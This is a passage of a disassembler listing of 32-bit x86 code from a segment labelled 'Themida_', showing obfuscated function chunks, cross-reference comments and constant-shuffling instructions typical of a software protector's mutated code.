jmp loc_58D3AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_585F80: ; CODE XREF: sub_585452+6203j
pop esp
push 7A14h
mov [esp+0Ah+var_C+2], eax
sub esp, 4
mov [esp+0Eh+var_10+2], ebx
mov ebx, 1AFD2768h
xor [esp+0Eh+var_C+2], ebx
pop ebx
pop dword ptr [edi+40h]
push ebx
push 40h
pop ebx
push edi
mov edi, 6F7C303Ah
add ebx, edi
mov edi, [esp+0Eh+var_10+2]
add esp, 4
add ebx, edi
sub ebx, 6F7C303Ah
jmp loc_589B9D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_585FC1: ; CODE XREF: Themida_:0058DBCFj
pop edx
and ecx, 191A3742h
shr ecx, 4
add ecx, 0FFEEFFF2h
push ebp
push eax
mov eax, 66C27F72h
jmp loc_584C3F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_585FDD: ; CODE XREF: sub_589C10-E3Dj
push edx
push esp
pop edx
push ebp
jmp loc_58B294
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
loc_585FE6: ; CODE XREF: Themida_:00586309j
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
jmp loc_586DA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_585FF8: ; CODE XREF: sub_585452+A2j
mov [esp+0Ah+var_C+2], eax
push esp
push [esp+0Eh+var_10+2]
pop eax
add esp, 4
push 736h
mov [esp+0Eh+var_10+2], ecx
mov ecx, 5FF50A8Fh
push edx
mov edx, 51D15187h
xor edx, 753A7DF2h
and ecx, edx
pop edx
shl ecx, 7
xor ecx, 2C613A38h
sub ecx, 5CE538B4h
add eax, 0B31AF6h
add eax, ecx
sub eax, 0B31AF6h
pop ecx
add eax, 2
xor eax, [esp+0Ah+var_C+2]
xor [esp+0Ah+var_C+2], eax
xor eax, [esp+0Ah+var_C+2]
mov esp, [esp+0Ah+var_C+2]
shl byte ptr [esp+0Ah+var_C+2], cl
pushf
jmp loc_58D9CA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586056: ; CODE XREF: Themida_:00588247j
pop dx
push small 5B80h
jmp loc_589429
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586061: ; CODE XREF: sub_585452+1D23j
xor [esp+0Eh+var_10+2], ebx
xor ebx, [esp+0Eh+var_10+2]
mov esp, [esp+0Eh+var_10+2]
movsx cx, al
jmp sub_58CF6A
; ---------------------------------------------------------------------------
loc_586073: ; CODE XREF: sub_585452+681Fj
push 6FB7h
mov [esp+12h+var_14+2], ebx
jmp loc_58D541
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586080: ; CODE XREF: Themida_:0058CAE8j
mov [esp], esi
mov esi, 4494693Bh
push ebx
jmp loc_584267
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58608E: ; CODE XREF: sub_58999B-1B0Dj
add esi, 5470578Bh
sub edx, 75821ACAh
add edx, esi
jmp loc_58ACAB
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
loc_5860A1: ; CODE XREF: Themida_:00583C77j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], ax
jmp loc_5843A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5860B4: ; CODE XREF: sub_585452+2C92j
sub dh, 2Fh
jmp loc_584C62
; ---------------------------------------------------------------------------
loc_5860BC: ; CODE XREF: sub_585452+89B3j
mov bh, dl
jmp loc_5882BA
; ---------------------------------------------------------------------------
loc_5860C3: ; CODE XREF: sub_585452+1AFBj
mov eax, 666801DAh
sub [esp+12h+var_C+2], eax
pop eax
push [esp+0Eh+var_10+2]
pop ebp
jmp loc_58ACC0
; ---------------------------------------------------------------------------
loc_5860D6: ; CODE XREF: sub_585452+4B1Dj
mov [esp+0Eh+var_10+2], eax
sub esp, 4
mov [esp+12h+var_14+2], esp
add [esp+12h+var_14+2], 4
jmp loc_58C69B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_5860E8: ; CODE XREF: sub_58FA66-B9BAj
sub eax, 4
jmp loc_58DC1B
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5860F0: ; CODE XREF: sub_585452+5D69j
add edx, edi
sub edx, 36A530A9h
push eax
mov eax, 0
add eax, edx
mov [eax], cl
pop eax
jmp loc_587B6B
; ---------------------------------------------------------------------------
loc_586108: ; CODE XREF: sub_585452+70EAj
mov dx, word ptr [esp+12h+var_14+2]
push ecx
push esp
mov ecx, [esp+1Ah+var_1C+2]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+1Eh+var_20+2]
pop esp
push edx
push edi
mov edi, 27AB31E4h
push edi
pop edx
pop edi
dec edx
neg edx
sub esp, 4
mov [esp+22h+var_24+2], eax
mov eax, 0
jmp loc_58B0E1
; ---------------------------------------------------------------------------
loc_586141: ; CODE XREF: sub_585452-887j
push ecx
jmp sub_58F923
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586147: ; CODE XREF: Themida_:005891F0j
mov ecx, 4F060D9Fh
sub ecx, 4547EFE5h
xor ebx, ecx
pop ecx
xchg edi, ebx
not edi
xchg edi, ebx
inc ebx
and ebx, 78CF455Fh
jmp loc_58A9C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586167: ; CODE XREF: sub_585452+2BA4j
add esp, 4
jmp loc_58B39D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586172: ; CODE XREF: Themida_:005878F9j
mov ebx, edi
jmp loc_589FFB
; ---------------------------------------------------------------------------
loc_586179: ; CODE XREF: Themida_:00587EA7j
add al, cl
jmp loc_58AA5B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586180: ; CODE XREF: sub_585452+7A03j
mov esi, [esp-18h+arg_12+2]
jmp sub_587574
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EA34
loc_586188: ; CODE XREF: sub_58EA34-3157j
mov esp, [esp+8+var_8]
mov [esp+8+var_8], edi
mov edi, 570517DDh
inc edi
not edi
dec edi
or edi, 16A93F0Ch
add edi, 410400D8h
add ebx, edi
mov edi, [esp+8+var_8]
add esp, 4
push esi
mov esi, 2
add ebx, esi
pop esi
push ebx
push [esp+8+var_4]
pop ebx
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
mov cx, word ptr [esp+4+var_4]
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+8+var_8]
pop esp
mov [esp+4+var_4], eax
push 5F2h
push esp
pop [esp+0Ch+var_C]
push 5F96h
mov [esp+0Ch+var_C], ecx
push eax
mov eax, 0A9A3219h
add eax, 0F565CDEBh
mov ecx, eax
pop eax
add [esp+0Ch+var_8], 38A13B38h
add [esp+0Ch+var_8], ecx
sub [esp+0Ch+var_8], 38A13B38h
pop ecx
mov eax, [esp+8+var_8]
jmp loc_58A925
; END OF FUNCTION CHUNK FOR sub_58EA34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589972
loc_586219: ; CODE XREF: sub_589972+65D7j
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_589972
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58621E: ; CODE XREF: sub_585452-416j
mov [esp+2+var_4+2], eax
push ecx
mov ecx, 4E0564A2h
jmp loc_587EB4
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58622C proc near ; CODE XREF: sub_585452+5824j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00585414 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058983E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B0EA SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0058CA2C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058CA81 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DF70 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058E51C SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 601915DDh
jmp loc_58E51C
sub_58622C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58623F: ; CODE XREF: sub_585452+9DB4j
or ebx, eax
pop eax
or ebx, 14EC418Ch
jmp loc_585B1E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_586256: ; CODE XREF: sub_58F728-437Ej
mov [esp-4+arg_0], edx
not [esp-4+arg_0]
pop edx
jmp loc_58F5C3
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
loc_586262: ; CODE XREF: Themida_:0058E263j
push esi
mov esi, 4
jmp loc_58CBD1
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_5896FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585019
loc_586281: ; CODE XREF: sub_585019+9774j
push [esp+4+var_4]
push [esp+8+var_8]
pop ecx
add esp, 4
jmp sub_58D7D9
; END OF FUNCTION CHUNK FOR sub_585019
; ---------------------------------------------------------------------------
loc_586293: ; CODE XREF: Themida_:00583F30j
pop ebx
shl ebx, 5
shl ebx, 7
dec ebx
sub ebx, 6C82FFFh
mov eax, ebx
mov ebx, [esp]
add esp, 4
mov ebx, eax
push dword ptr [esp]
jmp loc_5876A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5862B6: ; CODE XREF: sub_585452+476j
mov ecx, 3D33546Bh
mov edx, 1CEDFF2Eh
xor edx, ecx
pop ecx
xor eax, edx
pop edx
jmp loc_58E6A8
; ---------------------------------------------------------------------------
loc_5862CB: ; CODE XREF: sub_585452+42Dj
pop edx
jmp loc_58C148
; ---------------------------------------------------------------------------
loc_5862D1: ; CODE XREF: sub_585452-7B2j
mov [esp-20h+arg_1A+2], edi
jmp loc_58C9B8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_5862D9: ; CODE XREF: sub_58FA66-6053j
mov [esp-4+arg_0], eax
jmp loc_58AAA1
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5862E1: ; CODE XREF: sub_585452+5875j
mov ebp, esp
jmp loc_58B27D
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_5862E8 proc near ; CODE XREF: sub_585452+23Fj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00588CDE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058B8C0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058BBA4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C5A7 SIZE 0000000A BYTES
push ebp
jmp loc_58C5A7
sub_5862E8 endp
; ---------------------------------------------------------------------------
loc_5862EE: ; CODE XREF: Themida_:0058F2F7j
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
pop ebx
jmp loc_58FF1A
; ---------------------------------------------------------------------------
loc_586304: ; CODE XREF: Themida_:0058C33Aj
add eax, 4
jmp loc_585FE6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58630E: ; CODE XREF: sub_585452+8F1j
inc edi
and edi, 4E11037Bh
jmp loc_589B18
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58631A: ; CODE XREF: sub_587574+11CBj
sub edi, 6CA33C7Dh
sub edi, 757A7679h
add edi, esi
add edi, 757A7679h
push ebp
jmp loc_587A63
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
loc_586334: ; CODE XREF: Themida_:005852ECj
and ebp, 623643DBh
inc ebp
push ecx
mov ecx, 2060257h
jmp loc_58CC50
; ---------------------------------------------------------------------------
loc_586346: ; CODE XREF: Themida_:0058B0B5j
pop ebp
sub ebx, 5D3C2269h
add ebx, 66BC5FB7h
add ebx, eax
push ecx
mov ecx, 7B6D3367h
shl ecx, 5
add ecx, 0F915F2D7h
jmp loc_589ABE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586369: ; CODE XREF: sub_585452+4BCBj
sub eax, 72527A90h
inc eax
jmp loc_58C3D8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_583D6F
loc_586374: ; CODE XREF: sub_583D6F+9586j
sub esi, 0BA7AF4A2h
jmp loc_58ABBA
; END OF FUNCTION CHUNK FOR sub_583D6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58637F: ; CODE XREF: sub_585452+53D7j
add bl, 68h
add bl, al
sub bl, 68h
add bl, 0F1h
push ecx
jmp loc_58D3F7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586390: ; CODE XREF: Themida_:00585196j
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_589421
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58639C: ; CODE XREF: sub_585452+3F2Fj
sub bl, al
jmp loc_589650
; ---------------------------------------------------------------------------
loc_5863A3: ; CODE XREF: sub_585452+8ED0j
push eax
push [esp-20h+arg_1E+2]
pop eax
jmp loc_589149
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5863AE: ; CODE XREF: Themida_:0058A484j
pop ecx
jmp loc_58A5AF
; ---------------------------------------------------------------------------
loc_5863B4: ; CODE XREF: Themida_:0058D9E1j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5849F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5863BF: ; CODE XREF: sub_585452+3657j
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_5863C4: ; CODE XREF: sub_585452+70A8j
add ebx, 0FFFFFFFFh
shl ebx, 1
sub ebx, 6EAFE3CEh
jmp loc_588C03
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5863D7: ; CODE XREF: Themida_:0058FBC0j
dec ecx
xor ecx, 5F41373h
jmp loc_58C8E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5863E3: ; CODE XREF: sub_585452+6086j
sub bl, 0D3h
add bl, al
push 1114h
mov [esp-1Ch+arg_16+2], eax
push ecx
push eax
mov ah, 57h
mov ch, 7Bh
xor ch, ah
pop eax
xor ch, 0Eh
mov ah, ch
push [esp-18h+arg_12+2]
pop ecx
add esp, 4
jmp loc_58A969
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BCA7
loc_58640A: ; CODE XREF: sub_58BCA7-33C2j
add ebx, 0A809755Fh
mov eax, ebx
pop ebx
mov ebp, eax
mov eax, [esp+4+var_4]
jmp loc_586C5C
; END OF FUNCTION CHUNK FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58641D: ; CODE XREF: sub_585452+61Ej
pop eax
jmp loc_58CB14
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_586423: ; CODE XREF: sub_58AB18-1824j
shr eax, 8
xor eax, ecx
sub esp, 4
mov [esp+0], edx
mov edx, esp
push esi
push edi
mov edi, 694D7C64h
mov esi, 69779078h
sub esi, edi
pop edi
jmp loc_587DEC
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
loc_586444: ; CODE XREF: Themida_:0058E0ADj
push dword ptr [esp]
jmp loc_58CAAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E761
loc_58644C: ; CODE XREF: sub_58E761+13j
pop esi
add eax, ebx
push [esp-4+arg_0]
jmp loc_58AB20
; END OF FUNCTION CHUNK FOR sub_58E761
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586457: ; CODE XREF: sub_585452+1DDCj
pop eax
jmp loc_58DE00
; ---------------------------------------------------------------------------
loc_58645D: ; CODE XREF: sub_585452+A6F9j
push edx
sub esp, 4
mov [esp+4Ah+var_4C+2], ecx
push 0FEDh
mov [esp+4Eh+var_50+2], esi
mov esi, 14CA1265h
and esi, 63121600h
not esi
not esi
neg esi
add esi, 10031E1Ch
mov ecx, esi
pop esi
and ecx, 1EF157EDh
shl ecx, 3
and ecx, 16E67AB4h
xor ecx, 7BF442D5h
mov edx, ecx
pop ecx
jmp loc_585443
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585350
loc_5864A6: ; CODE XREF: sub_585350+7DB8j
mov bl, ch
pop ecx
mov eax, [esp+8+var_8]
add esp, 4
mov [edi+eax*4], bl
push [esp+4+var_4]
pop ebx
add esp, 4
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585350
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_5864C4: ; CODE XREF: sub_58F728-3EBEj
mov edx, 31803748h
mov ebx, 3180374Ch
sub ebx, edx
jmp loc_58B622
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_5864D5: ; CODE XREF: sub_58EFBD-A16j
xor eax, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
jmp loc_588B84
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
push esi
jmp loc_58ABF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5864E6: ; CODE XREF: sub_585452+37Dj
pop esp
push esi
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+36h+var_38+2]
pop esp
mov [esp+32h+var_34+2], esp
add [esp+32h+var_34+2], 4
jmp loc_58C668
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586507: ; CODE XREF: Themida_:0058DD01j
mov [esp], edx
jmp loc_584513
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58650F: ; CODE XREF: sub_585452+90F7j
mov bl, 4Ch
jmp loc_58F968
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B758
loc_586516: ; CODE XREF: sub_58B758-B1Aj
mov edx, 0
sub edx, 4CC430D8h
add edx, ebx
add edx, 4CC430D8h
add dword ptr [edx], 1
pop edx
mov ebx, [esp-4+arg_0]
add esp, 4
pop ecx
loc_58653A: ; CODE XREF: sub_58622C+4EDBj
push 4003h
mov [esp-8+arg_4], ebx
xor [esp-8+arg_4], 7B9D447Fh
jmp loc_58CCEB
; END OF FUNCTION CHUNK FOR sub_58B758
; ---------------------------------------------------------------------------
loc_58654E: ; CODE XREF: Themida_:0058C50Fj
push 2C8Eh
mov [esp], ebp
mov ebp, 22677B2Ah
push ebx
mov ebx, 0B750BE7h
and ebp, ebx
mov ebx, [esp]
add esp, 4
dec ebp
push eax
jmp loc_58E184
; ---------------------------------------------------------------------------
loc_586573: ; CODE XREF: Themida_:0058E8C4j
push ecx
push 5B2C62D9h
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push esi
mov esi, 464E4EA1h
sub esi, 704E2640h
push edx
mov edx, 7B022EF7h
or edx, 28285624h
shl edx, 2
xor edx, 50FA298Eh
not edx
inc edx
sub edx, 0E72A26D1h
sub esi, edx
jmp loc_58EA5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5865BD: ; CODE XREF: sub_585452+67BFj
shr [esp+32h+var_34+2], cl
pushf
jmp loc_58F294
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
mov edi, esp
sub esp, 4
mov [esp], ecx
jmp loc_589795
; ---------------------------------------------------------------------------
loc_5865DB: ; CODE XREF: Themida_:00583D84j
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
jmp loc_587A78
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5865E7: ; CODE XREF: sub_585452+94j
mov edx, [esp+6+var_8+2]
add esp, 4
mov edx, [esp+2+var_4+2]
sub esp, 4
mov [esp+6+var_8+2], ebx
push esp
pop ebx
jmp loc_58A409
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5756
loc_586600: ; CODE XREF: sub_5B5756-31B23j
mov word ptr [esp+28h+var_2A+2], cx
mov ch, 0A5h
jmp loc_583E3D
; END OF FUNCTION CHUNK FOR sub_5B5756
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58660B: ; CODE XREF: sub_585452+7Ej
mov ebp, 56E4614h
xor eax, ebp
jmp loc_58928D
; ---------------------------------------------------------------------------
loc_586617: ; CODE XREF: sub_585452+7139j
or esi, eax
mov eax, [esp+0Eh+var_10+2]
add esp, 4
or esi, 3F96276Ch
push eax
mov eax, 793E09D0h
sub eax, 9ACA18EEh
xor esi, eax
pop eax
mov ebp, esi
jmp loc_588E06
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58663A: ; CODE XREF: sub_587574+4B07j
pop ecx
jmp loc_58AA7F
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A26F
loc_586640: ; CODE XREF: sub_58A26F+Cj
sub ebp, 22665B05h
jmp loc_58AD9C
; END OF FUNCTION CHUNK FOR sub_58A26F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58664B: ; CODE XREF: sub_589967+4E9Cj
pop esi
xchg ebp, [esp-8+arg_4]
pop esp
; END OF FUNCTION CHUNK FOR sub_589967
; =============== S U B R O U T I N E =======================================
sub_586650 proc near ; CODE XREF: sub_58F728-6462j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005844C0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00587D14 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058A2F5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058A9CC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E19D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E251 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F6C0 SIZE 00000008 BYTES
push ebx
push edx
push 11E74E8Dh
jmp loc_5844C0
sub_586650 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58665C: ; CODE XREF: sub_58C230+9Fj
add esp, 4
push esi
jmp loc_587D3A
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586668: ; CODE XREF: sub_585452+8BEEj
pop ebx
push ebx
mov bh, dh
not bh
mov dh, bh
pop ebx
add dh, 0CFh
jmp loc_584A63
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586679: ; CODE XREF: Themida_:0058876Cj
push ebx
push edx
mov edx, 639504E0h
not edx
push eax
mov eax, 42FD7E99h
add edx, eax
pop eax
and edx, 689F6618h
neg edx
sub edx, 8C194A3Ch
jmp loc_58D184
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E1AF
loc_58669E: ; CODE XREF: sub_58E1AF-437Ej
add esp, 4
pop [esp-4+arg_0]
pop esp
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_58E1AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5866AA: ; CODE XREF: sub_585452+9087j
pop ebp
jmp loc_588629
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5866B0: ; CODE XREF: Themida_:0058A219j
mov bl, 1Eh
jmp loc_58E079
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_5866B7: ; CODE XREF: sub_589967-120Dj
add ebp, 37A0770Ch
pop ebx
xchg ebp, [esp+0]
mov esp, [esp+0]
and eax, edx
mov edx, [esp+0]
add esp, 4
jmp loc_58EF52
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5866D4: ; CODE XREF: sub_585452+62Ej
xchg esi, [esp+4Ah+var_4C+2]
pop esp
mov [esp+46h+var_48+2], edi
jmp loc_589F2F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_5866E0: ; CODE XREF: sub_589FD5+5D9Bj
add edi, eax
pop eax
jmp loc_588443
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
loc_5866E8: ; CODE XREF: Themida_:00584D8Cj
sub esp, 4
jmp loc_587046
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5866F3: ; CODE XREF: sub_585452+3ED5j
shl ecx, 3
jmp loc_58F20B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5866FB: ; CODE XREF: Themida_:00586C9Cj
mov eax, [esp]
jmp loc_58672B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_586703: ; CODE XREF: sub_589FD5-28F1j
add ebp, 4
xchg ebp, [esp-8+arg_4]
pop esp
xchg edi, [esp-0Ch+arg_8]
pop esp
mov [esp+0], edx
push ebp
push 5F794207h
mov ebp, [esp-8+arg_4]
add esp, 4
or ebp, 5A9876BCh
jmp loc_587E3C
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
loc_58672B: ; CODE XREF: Themida_:005866FEj
add esp, 4
sub dh, bl
pop ebx
add al, 9Eh
add al, dh
sub al, 9Eh
pop edx
push small 97Ch
mov [esp], dx
jmp loc_58FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E761
loc_586748: ; CODE XREF: sub_58E761-3228j
push esp
push [esp+4+var_4]
mov esi, [esp+8+var_8]
jmp loc_58DF87
; END OF FUNCTION CHUNK FOR sub_58E761
; ---------------------------------------------------------------------------
loc_586754: ; CODE XREF: Themida_:0058D128j
xor ebp, 14A47AC4h
jmp loc_58AA06
; ---------------------------------------------------------------------------
loc_58675F: ; CODE XREF: Themida_:0058C7DCj
sub dh, bl
add dh, 5Fh
jmp loc_58CFB6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A170
loc_586769: ; CODE XREF: sub_58A170+188Cj
push 4694h
mov [esp+0], ecx
mov cl, 0D7h
inc cl
and cl, 3
sub esp, 4
mov [esp+4+var_4], ebx
mov bh, 0D1h
jmp loc_5874AA
; END OF FUNCTION CHUNK FOR sub_58A170
; ---------------------------------------------------------------------------
loc_586785: ; CODE XREF: Themida_:0058B0DCj
mov ch, 42h
sub esp, 2
mov [esp], ax
push ebx
mov bl, 0C9h
mov ah, 9Bh
sub ah, bl
pop ebx
and ah, 0B2h
jmp loc_585C2D
; ---------------------------------------------------------------------------
loc_5867A1: ; CODE XREF: Themida_:0058BC25j
add ecx, 35B1FDA1h
add ebp, 0FA74594h
sub ebp, ecx
sub ebp, 0FA74594h
pop ecx
not ebp
add ebp, 4322F7B8h
sub eax, 319F6102h
add eax, ebp
add eax, 319F6102h
push dword ptr [esp]
jmp loc_58FE4D
; ---------------------------------------------------------------------------
loc_5867D2: ; CODE XREF: Themida_:00589F4Ej
push dword ptr [esp]
pop ecx
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_58A9AA
; ---------------------------------------------------------------------------
loc_5867E4: ; CODE XREF: Themida_:0058743Fj
mov ebx, 4C4A6CD5h
mov edx, 0CE8E9463h
add edx, ebx
jmp loc_585381
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DA2E
loc_5867F5: ; CODE XREF: sub_58DA2E-6D8Cj
mov ah, 0F9h
push ebx
mov bh, 0A5h
inc bh
shr bh, 3
not bh
shl bh, 5
add bh, 0A3h
add ah, bh
jmp loc_58B402
; END OF FUNCTION CHUNK FOR sub_58DA2E
; ---------------------------------------------------------------------------
loc_58680E: ; CODE XREF: Themida_:0058AF91j
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
push esp
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_5845FD
; ---------------------------------------------------------------------------
